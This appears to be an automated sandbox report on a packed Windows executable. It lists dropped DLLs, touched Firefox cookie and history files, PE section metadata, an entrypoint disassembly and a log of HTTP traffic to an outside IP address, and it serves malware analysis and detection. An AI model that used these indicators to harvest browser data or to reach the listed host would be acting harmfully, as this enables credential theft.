SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945290785455126
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'833'472 bytes
MD5:	a2ea4e55410169bcc8c43793963b1112
SHA1:	7bf04cf5d4aa3f12e5333371afe3a2495d0f64d2
SHA256:	3df1d51e8eec4ca63d919fb3ac4538443244f5a884d70c7b170b87e289ebb5b3
SHA512:	45b184a220c36174d7bee0fbb93b81904b90fcb41704ea6fa9f0dc8fc7ed1eb2b5ca7d6972db93bb677db5d991d09bc1c091745a54a7de22c08e05df49508fc8
SSDEEP:	49152:bEbgaqdaaaIeb5pCb8N8EnuQmW3gS0BXTMb/pryp:bEgaqdaaa/b5pb7uQ550BXTMjt
TLSH:	AC853363B92B19B4D39D36B89B6E873B80FC1B054D3600C529DA51B487A7837F099F1B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L.../..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa96000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F1BA2F [Mon Sep 23 18:57:51 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F8904BB575Ah
psubusb mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	abb78323751b278694a1b0ab8a327b0c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x29d000	0x200	405a62170a057ee2636f4b89f4d59fb7	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
igvkgldi	0x4fb000	0x19a000	0x199800	36ca7393b12915a5a341a037920d6a43	False	0.9949037507631258	data	7.952830117351486	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hcoldwqj	0x695000	0x1000	0x400	b77e42c6cee4b30783c554543f3d2a00	False	0.7685546875	data	6.06215371708491	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x696000	0x3000	0x2200	20513c01c5b071666a92460aa96f0ada	False	0.06215533088235294	DOS executable (COM)	0.783320913140732	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 29, 2024 02:00:03.315627098 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:03.320697069 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:03.320795059 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:03.320985079 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:03.325941086 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:04.029228926 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:04.029407978 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:04.032879114 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:04.037702084 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:04.280467987 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:04.280528069 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:04.281996965 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:04.286813021 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:04.507972002 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:04.507997990 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:04.508140087 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:04.510158062 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:04.515108109 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:04.736440897 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:04.736469030 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:04.736479998 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:04.736491919 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:04.736510992 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:04.736520052 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:04.736531019 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:04.736542940 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:04.736546993 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:04.736579895 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:04.736593008 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:04.738493919 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:04.743334055 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:04.965480089 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:04.965598106 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:04.984810114 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:04.984858036 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:04.989893913 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:04.989912033 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:04.989921093 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:04.989939928 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:04.989958048 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:04.989967108 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:05.720330954 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:05.720499039 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.457004070 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.462208033 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.704322100 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.704360962 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.704376936 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.704387903 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.704399109 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.704408884 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.704421043 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.704519033 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.704551935 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.705132961 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.705146074 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.705156088 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.705187082 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.705209970 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.705468893 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.705534935 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.705544949 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.705550909 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.705555916 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.705583096 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.705606937 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.834403992 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.834424019 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.834434032 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.834597111 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.834757090 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.834767103 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.834773064 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.834784985 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.834789991 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.834795952 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.834820032 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.834846973 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.835316896 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.835326910 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.835336924 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.835346937 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.835374117 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.835412979 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.835803986 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.835814953 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.835824013 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.835861921 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.835872889 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.836036921 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.836046934 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.836056948 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.836085081 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.836107016 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.836713076 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.836755037 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.836765051 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.836787939 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.836807966 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.836961031 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.836971998 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.836981058 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.837008953 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.837022066 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.963908911 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.963933945 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.963944912 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.963956118 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.963967085 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.963978052 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.963977098 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.963989973 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.964004993 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.964039087 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.964066029 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.964103937 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.964107037 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.964114904 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.964176893 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.964188099 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.964195013 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.964195013 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.964199066 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.964219093 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.964241028 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.964761972 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.964771986 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.964782953 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.964832067 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.964854002 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.964864969 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.964869022 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.964875937 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.964889050 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.964904070 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.964930058 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.964936972 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.964947939 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.964981079 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.965719938 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.965730906 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.965742111 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.965768099 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.965780973 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.965805054 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.965816021 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.965826035 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.965836048 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.965847969 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.965861082 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.965886116 CEST	80	49704	185.215.113.37	192.168.2.5
